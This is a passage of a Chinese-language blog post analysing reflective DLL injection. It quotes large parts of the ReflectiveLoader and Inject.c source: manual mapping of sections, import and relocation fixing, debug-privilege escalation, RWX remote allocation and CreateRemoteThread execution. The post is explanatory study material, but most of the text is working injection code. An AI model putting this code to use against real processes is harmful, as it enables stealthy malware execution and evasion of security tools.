uiBaseAddress = (ULONG_PTR)pVirtualAlloc( NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
// 将所有的头和节表逐字节复制到新内存
while( uiValueA-- )
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
- Step 3: 加载这些节
// 解析每一个节表项
uiValueA = ( (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader );
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while( uiValueE-- )
{
// uiValueB is the VA for this section
uiValueB = ( uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress );
// uiValueC if the VA for this sections data
uiValueC = ( uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData );
// 将每一节的内容复制到新内存对应的位置
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while( uiValueD-- )
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
// get the VA of the next section
uiValueA += sizeof( IMAGE_SECTION_HEADER );
}
- Step 4:加载导入表
因为被注入的 dll 还可能依赖于其他的 dll,所以还需要装载这些被依赖的 dll,并修改当前 dll 的导入表,是这些被导入的函数能正常运行。
PE 文件的导入表是一个元素为 IMAGE_IMPORT_DESCRIPTOR 的数组,每一个被依赖的 dll 都对应着数组中的一个元素。

首先根据导入表结构,找到导入函数所在的 dll 名称,然后使用 Loadlibrary() 函数载入 dll,根据函数的序号或名称,载入到 dll 导出表中,通过 hash 对比,把要用到的函数地址写入新内存的 IAT 表中。
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_IMPORT ];
// uiValueC 是第一个导入函数
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name )
{
// 使用 LoadLibraryA 函数加载对应的 dll
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA( (LPCSTR)( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name ) );
uiValueD = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk );
// IAT 表
uiValueA = ( uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk );
while( DEREF(uiValueA) )
{
// 如果是根据函数编号导入的
if( uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG )
{
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_EXPORT ];
uiExportDir = ( uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress );
uiAddressArray = ( uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->AddressOfFunctions );
uiAddressArray += ( ( IMAGE_ORDINAL( ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal ) - ((PIMAGE_EXPORT_DIRECTORY )uiExportDir)->Base ) * sizeof(DWORD) );
// 将对应的导入函数地址写入 IAT 表
DEREF(uiValueA) = ( uiLibraryAddress + DEREF_32(uiAddressArray) );
}
else // 如果导入函数通过名称导入
{
uiValueB = ( uiBaseAddress + DEREF(uiValueA) );
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress( (HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name );
}
uiValueA += sizeof( ULONG_PTR );
if( uiValueD )
uiValueD += sizeof( ULONG_PTR );
}
// 获得下一个导入函数的地址
uiValueC += sizeof( IMAGE_IMPORT_DESCRIPTOR );
}
- Step 5:加载重定向表
被注入的 DLL 中只有 ReflectiveLoader 中的代码故意写成与地址无关的,其他部分的代码都需要重定向才能运行。重定向表是为了解决程序指定的 imagebase 被占用的情况下,程序使用绝对地址访问错误的情况。比如当引用全局变量的时候会用到绝对地址,这时候需要去修正对应内存的汇编指令。
PE 中的 DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC] 头指向了重定向表:
typedef struct _IMAGE_BASE_RELOCATION {
DWORD VirtualAddress;
DWORD SizeOfBlock;
// WORD TypeOffset[1];
} IMAGE_BASE_RELOCATION;
typedef IMAGE_BASE_RELOCATION UNALIGNED * PIMAGE_BASE_RELOCATION;

其中,Typeoffset 的高 4 位代表重定位类型(一般为 3),低 12 表示重定向地址,这个地址和 IMAGE_BASE_RELOCATION 中的 VirtualAddress 加起来则指向一个需要重定位的指令。
具体重定向的过程中,首先计算得到的基地址的偏移量,也就是实际的 DLL 加载地址减去 DLL 的推荐加载地址。最后将 VirtualAddress 和 Typeoffset 组册灰姑娘的地址所指向的双字加上这个偏移量,就完成了重定位。
*(DWORD*)(VirtualAddress + Typeoffset的低12位) += (实际DLL加载地址 – 推荐DLL加载地址)
实现:
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[ IMAGE_DIRECTORY_ENTRY_BASERELOC ];
// 如果重定向表的值不为 0,则修正重定向节
if( ((PIMAGE_DATA_DIRECTORY)uiValueB)->Size )
{
uiValueE = ((PIMAGE_BASE_RELOCATION)uiValueB)->SizeOfBlock;
uiValueC = ( uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress );
while( uiValueE && ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock )
{
uiValueA = ( uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress );
uiValueB = ( ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION) ) / sizeof( IMAGE_RELOC );
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// 根据不同的标识,修正每一项对应地址的值
while( uiValueB-- )
{
if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64 )
*(ULONG_PTR *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW )
*(DWORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGH )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += HIWORD(uiLibraryAddress);
else if( ((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_LOW )
*(WORD *)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += LOWORD(uiLibraryAddress);
uiValueD += sizeof( IMAGE_RELOC );
}
uiValueE -= ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
uiValueC = uiValueC + ((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock;
}
}
- Step 6:调用 dll 入口点
调用 NtFlushInstructionCache 清除指令缓存,最后 ReflectiveLoader 将控制权转交给 DLL 文件的入口点(通过 AddressOfEntryPoint 确认) 。
uiValueA = ( uiBaseAddress + ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.AddressOfEntryPoint );
pNtFlushInstructionCache( (HANDLE)-1, NULL, 0 );
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, lpParameter );
#else
((DLLMAIN)uiValueA)( (HINSTANCE)uiBaseAddress, DLL_PROCESS_ATTACH, NULL );
#endif
return uiValueA;
动态调试:
(windbg 用不熟,之后再补)
注入过程:
前面都是分析的 ReflectiveLoader 的实现流程,下面看一下 Inject 的具体实现。相关代码在 Inject.c 中
首先解析传入参数,调用 CreateFileA 加载 reflective_dll 得到 dll 句柄
hFile = CreateFileA( cpDllFile, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL );
if( hFile == INVALID_HANDLE_VALUE )
BREAK_WITH_ERROR( "Failed to open the DLL file" );
然后获得 reflective_dll 文件的大小,并为其分配一块内存
dwLength = GetFileSize( hFile, NULL );
if( dwLength == INVALID_FILE_SIZE || dwLength == 0 )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
lpBuffer = HeapAlloc( GetProcessHeap(), 0, dwLength );
if( !lpBuffer )
BREAK_WITH_ERROR( "Failed to get the DLL file size" );
之后将 reflective_dll 读入进程内存空间
if( ReadFile( hFile, lpBuffer, dwLength, &dwBytesRead, NULL ) == FALSE )
BREAK_WITH_ERROR( "Failed to alloc a buffer!" );
然后提权
if( OpenProcessToken( GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken ) )
{
priv.PrivilegeCount = 1;
priv.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if( LookupPrivilegeValue( NULL, SE_DEBUG_NAME, &priv.Privileges[0].Luid ) )
AdjustTokenPrivileges( hToken, FALSE, &priv, 0, NULL, NULL );
CloseHandle( hToken );
}
之后就是注入的过程,打开目标进程并用 LoadRemoteLibraryR 实现 dll 注入
hProcess = OpenProcess( PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, FALSE, dwProcessId );
if( !hProcess )
BREAK_WITH_ERROR( "Failed to open the target process" );
hModule = LoadRemoteLibraryR( hProcess, lpBuffer, dwLength, NULL );
if( !hModule )
BREAK_WITH_ERROR( "Failed to inject the DLL" );
printf( "[+] Injected the '%s' DLL into process %d.", cpDllFile, dwProcessId );
跟进实现的具体实现 LoadRemoteLibraryR,首先获得 ReflectiveLoader 的偏移
dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer );
if( !dwReflectiveLoaderOffset )
break;
然后再被注入进程中分配一段 rwx 的内存,把 dll 的映像写入进程
lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_EXECUTE_READWRITE );
if( !lpRemoteLibraryBuffer )
break;
if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) )
break;
截止就可以用 CreateRemoteThread 创建远程线程并执行 ReflectiveLoader
lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset );
hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD)NULL, &dwThreadId );
参考文献